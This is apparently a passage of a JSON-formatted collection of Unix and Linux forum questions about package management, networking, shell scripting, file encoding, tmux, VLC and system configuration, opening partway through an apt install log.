upgraded. Need to get 1965 kB of archives. After this operation, 7550 kB of additional disk space will be used. Do you want to continue [Y/n]? Y Get:1 http://nl.archive.ubuntu.com/ubuntu/ saucy/main liblua5.2-0 amd64 5.2.2-1 [95,7 kB] Get:2 http://nl.archive.ubuntu.com/ubuntu/ saucy/main librpmio3 amd64 4.11.1-2 [80,8 kB] Get:3 http://nl.archive.ubuntu.com/ubuntu/ saucy/main debugedit amd64 4.11.1-2 [16,9 kB] Get:4 http://nl.archive.ubuntu.com/ubuntu/ saucy/main librpm3 amd64 4.11.1-2 [184 kB] Get:5 http://nl.archive.ubuntu.com/ubuntu/ saucy/main librpmbuild3 amd64 4.11.1-2 [66,2 kB] Get:6 http://nl.archive.ubuntu.com/ubuntu/ saucy/main librpmsign1 amd64 4.11.1-2 [9074 B] Get:7 http://nl.archive.ubuntu.com/ubuntu/ saucy/universe libsqlite0 amd64 2.8.17-8fakesync1 [188 kB] Get:8 http://nl.archive.ubuntu.com/ubuntu/ saucy/main python-libxml2 amd64 2.9.1+dfsg1-3ubuntu2 [192 kB] Get:9 http://nl.archive.ubuntu.com/ubuntu/ saucy/universe python-sqlite amd64 1.0.1-9 [32,4 kB] Get:10 http://nl.archive.ubuntu.com/ubuntu/ saucy/main python-urlgrabber all 3.9.1-4ubuntu2 [48,5 kB] Get:11 http://nl.archive.ubuntu.com/ubuntu/ saucy/main rpm-common amd64 4.11.1-2 [25,1 kB] Get:12 http://nl.archive.ubuntu.com/ubuntu/ saucy/main rpm2cpio amd64 4.11.1-2 [5740 B] Get:13 http://nl.archive.ubuntu.com/ubuntu/ saucy/main rpm amd64 4.11.1-2 [135 kB] Get:14 http://nl.archive.ubuntu.com/ubuntu/ saucy/universe python-rpm amd64 4.11.1-2 [43,0 kB] Get:15 http://nl.archive.ubuntu.com/ubuntu/ saucy/universe python-sqlitecachec amd64 1.1.4-1 [21,4 kB] Get:16 http://nl.archive.ubuntu.com/ubuntu/ saucy/universe yum all 3.4.3-2ubuntu1 [821 kB] Fetched 1965 kB in 1s (1537 kB/s) Selecting previously unselected package liblua5.2-0:amd64. (Reading database ... 112109 files and directories currently installed.) Unpacking liblua5.2-0:amd64 (from .../liblua5.2-0_5.2.2-1_amd64.deb) ... Selecting previously unselected package librpmio3. Unpacking librpmio3 (from .../librpmio3_4.11.1-2_amd64.deb) ... Selecting previously unselected package debugedit. Unpacking debugedit (from .../debugedit_4.11.1-2_amd64.deb) ... Unpacking librpm3 (from .../librpm3_4.11.1-2_amd64.deb) ... Selecting previously unselected package librpmbuild3. Unpacking librpmbuild3 (from .../librpmbuild3_4.11.1-2_amd64.deb) ... Selecting previously unselected package librpmsign1. Unpacking librpmsign1 (from .../librpmsign1_4.11.1-2_amd64.deb) ... Selecting previously unselected package libsqlite0. Unpacking libsqlite0 (from .../libsqlite0_2.8.17-8fakesync1_amd64.deb) ... Selecting previously unselected package python-libxml2. Unpacking python-libxml2 (from .../python-libxml2_2.9.1+dfsg1-3ubuntu2_amd64.deb) ... Selecting previously unselected package python-sqlite. Unpacking python-sqlite (from .../python-sqlite_1.0.1-9_amd64.deb) ... Selecting previously unselected package python-urlgrabber. Unpacking python-urlgrabber (from .../python-urlgrabber_3.9.1-4ubuntu2_all.deb) ... Selecting previously unselected package rpm-common. Unpacking rpm-common (from .../rpm-common_4.11.1-2_amd64.deb) ... Selecting previously unselected package rpm2cpio. Unpacking rpm2cpio (from .../rpm2cpio_4.11.1-2_amd64.deb) ... Selecting previously unselected package rpm. Unpacking rpm (from .../rpm_4.11.1-2_amd64.deb) ... Selecting previously unselected package python-rpm. Unpacking python-rpm (from .../python-rpm_4.11.1-2_amd64.deb) ... Selecting previously unselected package python-sqlitecachec. Unpacking python-sqlitecachec (from .../python-sqlitecachec_1.1.4-1_amd64.deb) ... Selecting previously unselected package yum. Unpacking yum (from .../yum_3.4.3-2ubuntu1_all.deb) ... Processing triggers for man-db ... Setting up liblua5.2-0:amd64 (5.2.2-1) ... Setting up librpmio3 (4.11.1-2) ... Setting up debugedit (4.11.1-2) ... Setting up librpm3 (4.11.1-2) ... Setting up librpmbuild3 (4.11.1-2) ... Setting up librpmsign1 (4.11.1-2) ... Setting up libsqlite0 (2.8.17-8fakesync1) ... Setting up python-libxml2 (2.9.1+dfsg1-3ubuntu2) ... Setting up python-sqlite (1.0.1-9) ... Setting up python-urlgrabber (3.9.1-4ubuntu2) ... Setting up rpm-common (4.11.1-2) ... Setting up rpm2cpio (4.11.1-2) ... Setting up rpm (4.11.1-2) ... Setting up python-rpm (4.11.1-2) ... Setting up python-sqlitecachec (1.1.4-1) ... Setting up yum (3.4.3-2ubuntu1) ... Processing triggers for libc-bin ... But when I do a list nothing is output. Does yum list what yum installed? :~$ :~$ yum list installed :~$ But when I do: :~$ yum provides /etc/yum/yum.conf No Matches found Still nothing found. Why does the yum does not list anything?"} {"_id": "40873", "title": "iperf gives wrong output", "text": "I ran iperf on Windows and Linux machine to check bandwidth speed. Windows bandwidht speed, I explicitly set to 10Mbps/Full and Linux's BW speed is 100Mbps/Full. Following is the strange output I got: Client Side ( Linux Box ): iperf -c 192.168.1.72 -r Server listening on TCP port 5001 TCP window size: 85.3 KByte (default) Client connecting to 192.168.1.72, TCP port 5001 TCP window size: 16.0 KByte (default) [ 5] local 192.168.1.70 port 52358 connected with 192.168.1.72 port 5001 [ ID] Interval Transfer Bandwidth [ 5] 0.0-10.2 sec 11.6 MBytes **9.60 Mbits/sec** [ 4] local 192.168.1.70 port 5001 connected with 192.168.1.72 port 1334 [ 4] 0.0-10.1 sec 11.2 MBytes **9.34 Mbits/sec** And on server side ( Windows Box ): iperf.exe -s Server listening on TCP port 5001 TCP window size: 64.0 KByte (default) [ 4] local 192.168.1.72 port 5001 connected to 192.168.1.70 port 52358 [ ID] Interval Transfer Bandwidth [ 4] 0.0-10.4 sec 11.6 MBytes **9.40 Mbits/sec** Client connecting to 192.168.1.70 port 5001 TCP window size: 64.0 KByte (default) [ 4] local 192.168.1.72 port 1334 connected with 192.168.1.70 port 5001 Waiting for server threads to complete. Interrupt again to force quit. [ 4] 0.0-10.1 sec 11.2 MBytes **9.35 Mbits/sec** I don't understand this difference between output"} {"_id": "67238", "title": "renaming a directory and its subdirs without affecting their files", "text": "I have to rename directories under the root directory with prefix \"ms_PF\" and then rename their subdirectories with the modified name of the main directory with an extra \"_\", and then copy all directories and their subs to root as follows: root maindir1 maindir2 subdir1 subdir2 subdir3 maindir1 and maindir2 to be renamed with prefix \"ms_PF_\" and copied direct to root, because maindir2 has subdirectories they will carry the new name of maindir2 which is ms_PF_maindir2 plus and underscor (_) then all subs will be copied to root as follows: ms_PF_maindir1 ms_PF_maindir2_subdir1 ms_PF_maindir2_subdir2 ms_PF_maindir2_subdir3 Assistance in this matter is highly appreciated. My attempted solution is something like this, but it actually needs fixing: root_dir=\"/dwn/icbu_dwn/LL\" prefix=\"ms_PF_\" do_it () { awk '{ print \"mv $root_dir $prefix ${root_dir/\\//_}\" }' | sh } find \"$root_dir\" -depth -type d | do_it"} {"_id": "137711", "title": "Why do I get \"authentication\" errors on this \"Open\" configuration?", "text": "I have the following `ifcfg-wlan0` file: DEVICE=wlan0 BOOTPROTO=none ONBOOT=yes IPADDR=192.168.5.1 NETMASK=255.255.255.0 NETWORK=192.168.5.0 NAME=wlan0 USERCTL=no the following `dhcpd.conf` file: DHCPDARGS=wlan0; default-lease-time 600; max-lease-time 7200; authoritative; subnet 192.168.5.0 netmask 255.255.255.0 { range 192.168.5.10 192.168.5.200; } the following `hostapd.conf` file: ctrl_interface=/var/run/hostapd ctrl_interface_group=wheel macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 driver=nl80211 interface=wlan0 hw_mode=g channel=1 ssid=HOTSPOT The SSID:HOTSPOT shows up on my device as 'Open' but when it tries to connect I get \"authentication error\". I've tried from several devices, with the same results. It seems on the surface that it is a hostapd config problem. Is it possible it is a problem with my dhcpd or my interface config?"} {"_id": "137715", "title": "Compose and pipe a gzipped tar archive in one go", "text": "I'm trying to come up with an effective way to create a gzipped archive of various system partitions on Android, piping everything out to stdout so as to be able to encrypt it as it comes across via `gpg`. The workflow looks like this: adb shell \"/data/dobackup.sh\" | gpg --output suchbackup.tar.gz.gpg --encrypt --sign --recipient me@myemail.com The shell script needs to basically do this: cat /dev/block/platform/msm_sdcc.1/by-name/recovery > recovery.img cat /dev/block/platform/msm_sdcc.1/by-name/system > system.img ... However, as seen, I'd like to do this whole thing over an adb shell execution so that everything is transferred over USB, into memory, and quickly is encrypted then written to disk, ie leaving no unencrypted trace. The problem I'm having is that I'm not sure how to manufacture the internals of the script into a tar.gz file composed of multiple files/sources. Basically, I'm looking to output a tar.gz file from stdout from this script which includes the following files inside: /recovery.img /system.img /userdata.img /cache.img /... Is there any way I can do this? I haven't encountered a problem like this in my travels so far."} {"_id": "137714", "title": "how to suspend other nonrelated processes to allow a proces in interest to occupy the CPU?", "text": "Is it possible to * first find out what processes are necessary to run a process in interest, and * then suspend all other unrelated processes to allow the process in interest to use the CPU as much as possible * when the process in interest finishes running, resume the suspended processes? For example, a process in interest is djview Thanks."} {"_id": "67232", "title": "Same file, different filename due to encoding problem?", "text": "I was about to diff a backup from it's source to manually verify that the data is correct. Some chars, like \u00e5\u00e4\u00f6, is not shown correctly on the original data but as the clients (over samba) interpret it correctly it's nothing to worry about. The data restored from backup shows the chars correctly, leading diff to not consider them to be the same files (with diffs, but rather completely different files). md5 sums, same file but different name. # md5sum /original/iStock_000003637083Large-barn* e37c34968dd145a0e25692e1cb7fbdb1 /original/iStock_000003637083Large-barn p? strand.jpg # md5sum /frombackup/iStock_000003637083Large-barn* e37c34968dd145a0e25692e1cb7fbdb1 /frombackup/iStock_000003637083Large-barn p\u00e5 strand.jpg Mount options and filesystems /dev/sdb1 on /original type ext4 (rw,noatime,errors=remount-ro) /dev/sdc1 on /frombackup type ext4 (rw) Locale LANG=sv_SE.UTF-8 LANGUAGE= LC_CTYPE=\"sv_SE.UTF-8\" LC_NUMERIC=\"sv_SE.UTF-8\" LC_TIME=\"sv_SE.UTF-8\" LC_COLLATE=\"sv_SE.UTF-8\" LC_MONETARY=\"sv_SE.UTF-8\" LC_MESSAGES=\"sv_SE.UTF-8\" LC_PAPER=\"sv_SE.UTF-8\" LC_NAME=\"sv_SE.UTF-8\" LC_ADDRESS=\"sv_SE.UTF-8\" LC_TELEPHONE=\"sv_SE.UTF-8\" LC_MEASUREMENT=\"sv_SE.UTF-8\" LC_IDENTIFICATION=\"sv_SE.UTF-8\" LC_ALL= od -c # ls \"/original/iStock_000003637083Large-barn p\ufffd strand.jpg\" | od -c 0000000 / v a r / w w w / m e d i a b a 0000020 n k e n _ i m a g e s / k u n d 0000040 i d 8 0 / _ B a r n / i S t o c 0000060 k _ 0 0 0 0 0 3 6 3 7 0 8 3 L a 0000100 r g e - b a r n p 345 s t r a 0000120 n d . j p g \\n 0000127 # ls \"/frombackup/iStock_000003637083Large-barn p\u00e5 strand.jpg\" | od -c 0000000 / d a t a / v a r / w w w / m e 0000020 d i a b a n k e n _ i m a g e s 0000040 / k u n d i d 8 0 / _ B a r n / 0000060 i S t o c k _ 0 0 0 0 0 3 6 3 7 0000100 0 8 3 L a r g e - b a r n p 303 0000120 245 s t r a n d . j p g \\n 0000135"} {"_id": "67235", "title": "Using curl sequences without knowing the ending point", "text": "Is there a way in curl to use sequences but not give it a maximum value? So that it will download everything from the start of the sequence up? For example: > curl ftp://ftp.vim.org/pub/vim/patches/7.3/7.3.[548-*] or something like that?"} {"_id": "67237", "title": "Help with understanding a regular expression", "text": "I have this regular expression `\\\\\\\\..\\\\\\\\{3\\\\\\\\}$` I want to understand how this expression works to match a string. My thought is that it matches any 8 characters at the end of the line. Is that how this expression works? If so, I think something like this would match the string: `rs.efg$tu`"} {"_id": "68577", "title": "Find directories that do not contain subdirectories", "text": "I'm writing script is ksh. Need to find all directory names directly under the current directory which contain only files, not subdirectories. I know that I could use `ls -alR` and recursively parse output for the first letter in the first field (`d` for a directory). I think `awk` is the best way to parse and find but I'm a little confused with it. Please help!! For example, a simple `ls -al` output in the current directory: drwxr-xr-x 22 af staff 748 18 Mar 22:21 . drwxr-xr-x 5 root admin 170 17 Mar 18:03 .. -rw------- 1 af staff 3 17 Mar 16:37 .CFUserTextEncoding drwxr-xr-x 5 af staff 170 17 Mar 17:12 Public drwxr-xr-x 9 af staff 306 18 Mar 17:40 Sites -rw------- 1 af staff 3 17 Mar 16:37 textd \u2026 There are 2 directories in this output: `Public` and `Sites`. The directory `Public` doesn't contain subdirectories, but `Sites` does. There are 3 subdirectories in `Sites`. So I need to echo only the directories which don't contain directories in them. In my case, this is only `Sites`."} {"_id": "68574", "title": "Invoke a command/script disconnected from the controlling terminal?", "text": "I'm investigating the behaviour of a script that is normally run as an automated process (e.g. cron, Jenkins). The script can (eventually) invoke commands that behave differently (seeking user input) when run interactively; for example, `patch` will ask what to do with a reversed patch, and `svn` will ask for passwords, but I need to see what happens when they're run non- interactively. Persuading `patch` that it's non-interactive is fairly easy; I just need to redirect `stdout` to be a non-tty: $ >(cat) /path/to/myscript --args However `svn` will connect to the controlling terminal if it exists; editing the scripts to pass `\\--non-interactive` isn't really an option as this is coming from several levels deep and it'd be difficult to be certain I'd found every invocation. Is there a way to invoke a script/command non-interactively, without a controlling terminal (so that `/dev/tty` doesn't exist)? I'd prefer stdout/stderr to still go to my terminal. (I found the question Run script in a non interactive shell? but the answers to that discuss the differences between the cron and user environment; I've already eliminated all differences except non-interactivity.)"} {"_id": "3369", "title": "vnc connection working with PuTTY but not with command line", "text": "I am using PuTTY to connect to a distant network to then set up x11vnc and then using ssl/sshvnc as a client. in the host name for PuTTY I have: ssh.inf.uk and port: 22 in the ssh tunnel options I have source port set to: 5910 and destination: markinch.inf.uk Then putty brings up an xterm and I am prompted for my username and password. I get to the common gateway machine and do ssh markinch then I set up the x11vnc server x11vnc -ssl -usepw -rfbport 5910 -create -geometry 1200x800 I use ssl/ssh vnc viewer with the verify certs off and host port set to, localhost:10 and put the password, and connect fine. ---Now I want to bypass usuing PuTTY, and do the ssh connection via command line. So I do ssh -L localhost:5910:ssh.inf.uk:5910 vass@ssh.inf.uk which brings me into the gateway machine, then I need to log into a specific desktop ssh -L localhost:5910:markinch.inf.uk:5910 markinch Then I set up the x11vnc server, x11vnc -ssl -usepw -rfbport 5910 -create -geometry 1200x800 then I use ssl/ssh vnc viewer with verify certificates off, localhost:10, and with the password in, and get: PORT=5910 SSLPORT=5910 channel 3: open failed: connect failed: Connection refused What is putty doing so different? Best,"} {"_id": "68571", "title": "Show jobs count only if it is more than 0", "text": "I have a `jobscount()` function: jobscount() { local stopped='$(jobs -s | wc -l | tr -d \" \")' local running='$(jobs -r | wc -l | tr -d \" \")' echo -n \"${running}r/${stopped}s\" } I use this function in my `$PS1`: PS1=\" \\w $(jobscount) \\$ \" The only problem is if there is no background process running or there is no stopped jobs, this function uselessly occupies `$PS1` space. What I want is if either of the `stopped` or `running` value is more than `0`, **only then** it shows up."} {"_id": "68570", "title": "Can I use APT on TinyCore?", "text": "Will tinyCore let me use APT? I am looking forward to use a very light version of Linux on a netbook or something. For the last few years I been using Linux Mint and I like it, but I am getting tired of it, since it is too big to my taste now, and I want an easier, faster and more lightweight one, however I am used to apt-get in Ubuntu and Debian. I only use my computers for coding and web development stuff, so I don't wanna get my hands dirty on a Linux stuff for long, all I need is a lightweight OS that doesn't look stupid and big, vim and a browser to test... however APT is important to me, will it work with TinyCore or something similar?"} {"_id": "104996", "title": "Can't connect to WLAN with netctl", "text": "I can't connect to a WiFi network. I tried various methods such as `wpa_supplicant` and `wicd`. At the moment I'm trying `netctl`. When I enter the command: `systemctl --type=service` I see the following errors: ![enter image description here](http://i.stack.imgur.com/8lEHZ.png) **netctl start wireless-home** Job for netctl@wireless\\x2dhome.service failed. See 'systemctl status netctl@wireless\\x2dhome.service' and 'journalctl -xn' for details. This is the profile file for `wireless-home`: Description='A simple WPA encrypted wireless connection' Interface=wlan0 Connection=wireless Security=wpa IP=dhcp ESSID='Pruthenia 3.OG' Key='XXXXXXXXXX' **systemctl status netctl@wireless\\x2dhome.service** netctl@wirelessx2dhome.service - Networking for netctl profile wirelessx2dhome Loaded: loaded (/usr/lib/systemd/system/netctl@.service; static) Active: inactive (dead) Docs: man:netctl.profile(5) **journalctl -xn output -->** Dec 12 08:01:01 webcampi CROND[2765]: pam_unix(crond:session): session closed for user root Dec 12 09:01:01 webcampi crond[3490]: pam_unix(crond:session): session opened for user root by (uid=0) Dec 12 09:01:01 webcampi CROND[3491]: (root) CMD (run-parts /etc/cron.hourly) Dec 12 09:01:01 webcampi CROND[3490]: pam_unix(crond:session): session closed for user root Dec 12 10:01:01 webcampi crond[4216]: pam_unix(crond:session): session opened for user root by (uid=0) Dec 12 10:01:01 webcampi CROND[4217]: (root) CMD (run-parts /etc/cron.hourly) Dec 12 10:01:01 webcampi CROND[4216]: pam_unix(crond:session): session closed for user root Dec 12 11:01:01 webcampi crond[4941]: pam_unix(crond:session): session opened for user root by (uid=0) Dec 12 11:01:01 webcampi CROND[4942]: (root) CMD (run-parts /etc/cron.hourly) Dec 12 11:01:01 webcampi CROND[4941]: pam_unix(crond:session): session closed for user root How can I fix this?"} {"_id": "3366", "title": "How do I remove every file that has x in its title?", "text": "I have a lot of directory where there are hundreds of files. In every directory there are pairs of my_file-01.jpg and my_file-\u20ac01.jpg I want to remove every file that contains \u20ac sign in its title: how to do that?"} {"_id": "104992", "title": "Searching a pattern in file names with number", "text": "I have a large number of files in a folder each with the date as the filename. For example 20130101 20130102 20130103 . . . 20130131 similarly for other months 20130201 to 20130230, the pattern is [Year][Month][Day]. I need to make a tar file of the first fifteen files from JAN to APRIL (i.e `2013[01-04][01-15]`), since double digit number range is not allowed in `grep`. How should I search this pattern?"} {"_id": "3362", "title": "How do I find a command if I don't know its name?", "text": "As a Unix beginner, I often find myself wanting to know the name of the command that achieves a particular function I'm after. How can I go about finding out the name of the command, given a description of what it does?"} {"_id": "30270", "title": "tmux disable confirmation prompt on kill-window", "text": "I've looked through the man pages so this might be asking in vain. I get annoyed at the confirmation message for kill-window (`Ctrl-b &` or `Ctrl-b kill-window` on the default setup). This always gives: > Confirm 'kill-window'? (y/n) Personally, I would essentially never hit `Ctrl-b &` unintentionally. Is there any way to disable this prompt, or prompts in general in tmux?"} {"_id": "109958", "title": "Bash Script To Find Debian Release Number from /etc/debian_version", "text": "The following is what I'm currently using for testing the version of Debian. Instead of doing it this way, can I make it more succinct? #!/bin/bash VERSION=NONE if [ $(cat /etc/debian_version) == '7.3' ]; then VERSION=7 elif [ $(cat /etc/debian_version) == '7.2' ]; then VERSION=7 elif [ $(cat /etc/debian_version) == '7.1' ]; then VERSION=7 elif [ $(cat /etc/debian_version) == '7.0' ]; then VERSION=7 fi I know it's not the most attractive way of doing this. What I want, is to understand how to use the file at `/etc/debian_version` to read the version number before the `.` and ignore the number after. I tried using if [ $(cat /etc/debian_version) == '7.*' ]; then and I also tried if [ $(cat /etc/debian_version) == '7.2|7.1|7.0' ]; then But neither of these worked for me. I want to future proof my script so that if Debian 7.4 gets released, then I won't have to go back over all the scripts that rely on this and alter them I am also aware of the `lsb_release -a` showing me the relative information, I just don't know how to \"cut\" what I want from that and check that it is Debian 6 or 7. The original script, as you can imagine, is quite lengthy. Any other posts you can point me to, would also be appreciated with using the method of \"cutting\" apart the response to only section out the part that I want."} {"_id": "109955", "title": "Using a Unix Domain Socket to Control VLC", "text": "I am interested in using a UNIX-Domain Socket to control VLC playback. This functionality is outlined in the VideoLan documentation for using oldrc. So what I need to is startup vlc with a command such as: cvlc -I oldrc --rc-unix /some/socket And then I should be able to send vlc commands to `/some/socket` to control the playback. Are there any general-purpose sockets floating around somewhere on my Kubuntu 12.10 system that I could use for this?"} {"_id": "76045", "title": "How to lock-down input on a Linux machine?", "text": "We need to put out a web browser to a public place to show informations. I need to lock down all the input interfaces via software methods. So ex.: if someone plugs a USB keyboard to the machine it wouldn't be able to use it. How to do it under ex.: Ubuntu 12.04? How can I disable USB/other input methods?"} {"_id": "76046", "title": "At init, run my own script instead of the shell", "text": "This is purely theoretical but suppose I would like to deploy a linux distribution on many servers. The only solution I can think of would be to create an initramfs with a custom script to perform checks on the underlying hardware, then format the main hard drive and install the OS. Now I am not entirely satisfied by my approach, I would rather do the same thing after the kernel has launched `init`. Usually, what `init` does is spawn a shell for the user to log in. How can I replace this with my own script?"} {"_id": "1571", "title": "Grabbing the extension in a file name", "text": "How do I get the file extension from bash? Here's what I tried: filename=`basename $filepath` fileext=${filename##*.} By doing that I can get extension of `bz2` from the path `/dir/subdir/file.bz2`, but I have a problem with the path `/dir/subdir/file-1.0.tar.bz2`. I would prefer a solution using only bash without external programs if it is possible. To make my question clear, I was creating a bash script to extract any given archive just by a single command of `extract path_to_file`. How to extract the file is determined by the script by seeing its compression or archiving type, that could be .tar.gz, .gz, .bz2 etc. I think this should involve string manipulation, for example if I get the extension `.gz` then I should check whether it has the string `.tar` before `.gz` \u2014 if so, the extension should be `.tar.gz`."} {"_id": "4275", "title": "Monitoring activity on my computer.", "text": "So recently I found that someone has been using my computer without consent, browsing folders, etc.... I could change all my passwords straight away, but I'm curious as the what the intruding party was looking for. So I would like to set up a trap ( evil grin ). What software will monitor any activity on my computer? While I know that capturing my screen will work here. I'd rather use a logfile. For example: **/var/log/activity.log** > [1 Aug 2010 20:23] /usr/bin/thunar accessed /multimedia/cctv-records/ > [1 Aug 2010 20:25] /usr/bin/mplayer accessed /multimedia/cctv- > records/00232.avi > [3 Aug 2010 02:34] /usr/bin/thunderbird was run > [3 Aug 2010 03:33] incomming ssh session from 12.32.132.123 Activities I would like to log is: * Access to files and folders on the filesystem * Commands run ( from console or otherwise ) * User Sessions ( login's, ssh sessions and failed attempts )"} {"_id": "4278", "title": "Ubuntu postfix installation error: trying to overwrite '/usr/sbin/validlocale', which is also in package libc-bin 0:2.10.1-0ubuntu18", "text": "I am trying to install Postfix on Ubuntu 10.04 using command `sudo apt-get install postfix` but there comes error as shown below: Preconfiguring packages ... (Reading database ... 164023 files and directories currently installed.) Preparing to replace locales 2.9+git20090617-3 (using .../locales_2.11.2-7_all.deb) ... Unpacking replacement locales ... dpkg: error processing /var/cache/apt/archives/locales_2.11.2-7_all.deb (--unpack): trying to overwrite '/usr/sbin/validlocale', which is also in package libc-bin 0:2.10.1-0ubuntu18 Processing triggers for man-db ... Errors were encountered while processing: /var/cache/apt/archives/locales_2.11.2-7_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1) Please help me what to do"} {"_id": "147474", "title": "Fedora 20: Failed to start LSB: Bring up/down networking", "text": "I'm trying to restart my networking service in Fedora 20, and I get the following error: [dev@localhost das]$ sudo service network restart [sudo] password for dev: Restarting network (via systemctl): Job for network.service failed. See 'systemctl status network.service' and 'journalctl -xn' for details. [FAILED] [dev@localhost das]$ systemctl status network.service network.service - LSB: Bring up/down networking Loaded: loaded (/etc/rc.d/init.d/network) Active: failed (Result: exit-code) since Wed 2014-07-30 11:26:17 CDT; 8min ago Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:16 localhost.localdomain network[22542]: RTNETLINK answers: File exists Jul 30 11:26:17 localhost.localdomain systemd[1]: network.service: control process exited, code=exited status=1 Jul 30 11:26:17 localhost.localdomain systemd[1]: Failed to start LSB: Bring up/down networking. Jul 30 11:26:17 localhost.localdomain systemd[1]: Unit network.service entered failed state [dev@localhost das]$ ll /etc/sysconfig/network-scripts total 216 -rw-r--r--. 1 root root 254 Jan 14 2014 ifcfg-lo -rw-r--r--. 1 root root 319 Dec 23 2013 ifcfg-p2p1 lrwxrwxrwx. 1 root root 24 Jun 4 16:04 ifdown -> ../../../usr/sbin/ifdown -rwxr-xr-x. 1 root root 627 Jan 14 2014 ifdown-bnep -rwxr-xr-x. 1 root root 5553 Jan 14 2014 ifdown-eth -rwxr-xr-x. 1 root root 781 Jan 14 2014 ifdown-ippp -rwxr-xr-x. 1 root root 4141 Jan 14 2014 ifdown-ipv6 lrwxrwxrwx. 1 root root 11 Jun 4 16:04 ifdown-isdn -> ifdown-ippp -rwxr-xr-x. 1 root root 1642 Jan 14 2014 ifdown-post -rwxr-xr-x. 1 root root 1068 Jan 14 2014 ifdown-ppp -rwxr-xr-x. 1 root root 837 Jan 14 2014 ifdown-routes -rwxr-xr-x. 1 root root 1444 Jan 14 2014 ifdown-sit -rwxr-xr-x. 1 root root 1599 Mar 31 03:52 ifdown-Team -rwxr-xr-x. 1 root root 1556 Mar 31 03:52 ifdown-TeamPort -rwxr-xr-x. 1 root root 1462 Jan 14 2014 ifdown-tunnel lrwxrwxrwx. 1 root root 22 Jun 4 16:04 ifup -> ../../../usr/sbin/ifup -rwxr-xr-x. 1 root root 12449 Jan 14 2014 ifup-aliases -rwxr-xr-x. 1 root root 859 Jan 14 2014 ifup-bnep -rwxr-xr-x. 1 root root 10293 Jan 14 2014 ifup-eth -rwxr-xr-x. 1 root root 12039 Jan 14 2014 ifup-ippp -rwxr-xr-x. 1 root root 10430 Jan 14 2014 ifup-ipv6 -rwxr-xr-x. 1 root root 804 Jan 14 2014 ifup-ipx lrwxrwxrwx. 1 root root 9 Jun 4 16:04 ifup-isdn -> ifup-ippp -rwxr-xr-x. 1 root root 642 Jan 14 2014 ifup-plip -rwxr-xr-x. 1 root root 1043 Jan 14 2014 ifup-plusb -rwxr-xr-x. 1 root root 2609 Jan 14 2014 ifup-post -rwxr-xr-x. 1 root root 4154 Jan 14 2014 ifup-ppp -rwxr-xr-x. 1 root root 1925 Jan 14 2014 ifup-routes -rwxr-xr-x. 1 root root 3263 Jan 14 2014 ifup-sit -rwxr-xr-x. 1 root root 1755 Mar 31 03:52 ifup-Team -rwxr-xr-x. 1 root root 1876 Mar 31 03:52 ifup-TeamPort -rwxr-xr-x. 1 root root 2607 Jan 14 2014 ifup-tunnel -rwxr-xr-x. 1 root root 1621 Jan 14 2014 ifup-wireless -rwxr-xr-x. 1 root root 4623 Jan 14 2014 init.ipv6-global -rw-r--r--. 1 root root 13793 Jan 14 2014 network-functions -rw-r--r--. 1 root root 26134 Jan 14 2014 network-functions-ipv6"} {"_id": "108399", "title": "Fedora make command broken, kernel mismatch", "text": "On a new Dell Inspiron 3521, I tried installing Linux. First try was Ubuntu, but couldn't get the WiFi working. After trying all sort of things and commands, some errors started to show. I then installed Fedora to check it out and see if it would pick up the WiFi. But it didn't either. Now, I want to install some drivers that should fix it. I've extracted a tarball. The directory contains a Makefile, but when I run make, the following error is thrown: KBUILD_NOPEDANTIC=1 make -C /lib/modules/`uname -r`/build M=`pwd` make: *** /lib/modules/3.11.10-301.fc20.x86_64/build: No such file or directory. Stop. make: *** [all] Error 2 Now I tried to see if that `build` directory exists, and it does, but as a symlink to a directory that does not exist. It points to `/usr/src/kernels/3.11.10-301.fc20.x86_64`. In the `kernels` directory, I only have `3.12.6-300.fc20.x86_64`."} {"_id": "136799", "title": "Show icons for open windows on multiple desktop panels", "text": "By default, the bottom desktop panel in centos(6) gnome displays icons for all open windows in the workspace. However, with two monitors, these icons are frequently sitting in my blind spots, causing me to miss notifications in the form of flashing icons. I'd like to try and solve this by duplicating the panel on both monitors, so that I can see notifications regardless of which screen I'm reading on. If I try to create a new panel and add the Window List to it, each panel with a Window List only shows the windows that are on that monitor. Is there a way to have two panels, each with the full list of icons?"} {"_id": "108394", "title": "Clear file system cache on AIX", "text": "I'm using AIX 6.1 and for testing. I want to clear the file system cache. Something similar a this on linux : `echo 2 > /proc/sys/vm/drop_caches` Is this possible?"} {"_id": "108396", "title": "how to check if the kernel support for ip alias?", "text": "it surprisingly that I get no explicit results when I googled \"kernel ip alias support\", and I have looked up the _linux network administrator, 3rd edition_ , it says: > check that you have a /proc/net/ip_alias file; if not, you will have to > recompile your kernel it seems this statement is out-dated, because I don't have the `/proc/net/ip_alias` file, but I can run `sudo ifconfig eth0:0 192.168.0.1` and the output of `sudo ifconfig -a` is: eth0 Link encap:Ethernet HWaddr f0:de:f1:b8:2b:b9 inet addr:10.2.14.102 Bcast:10.2.14.255 Mask:255.255.255.0 inet6 addr: fe80::f2de:f1ff:feb8:2bb9/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:167089 errors:0 dropped:0 overruns:0 frame:0 TX packets:147915 errors:53 dropped:0 overruns:0 carrier:53 collisions:78714 txqueuelen:1000 RX bytes:142585362 (135.9 MiB) TX bytes:25127121 (23.9 MiB) Interrupt:20 Memory:f2500000-f2520000 eth0:0 Link encap:Ethernet HWaddr f0:de:f1:b8:2b:b9 inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:20 Memory:f2500000-f2520000"} {"_id": "147479", "title": "swap symbols with numbers in keyboard layout", "text": "I'm looking to modify my keyboard layout such that holding down `Shift` and pressing a number key will result in a number being printed to the screen instead of the symbol that's on the key. For example `SHIFT`+`9` would print `9`, while `9` will print `(`. I'd also like to switch \"[\" and \"]\" with \"{\" and \"}\" respectively, in the same manner. I suspect the program `setxkbmap` will be useful, but I don't know how to use it for this purpose. Incidentally, there exists a similar question, but it's not exactly what I'm looking for. I use Linux Mint 16 Mate 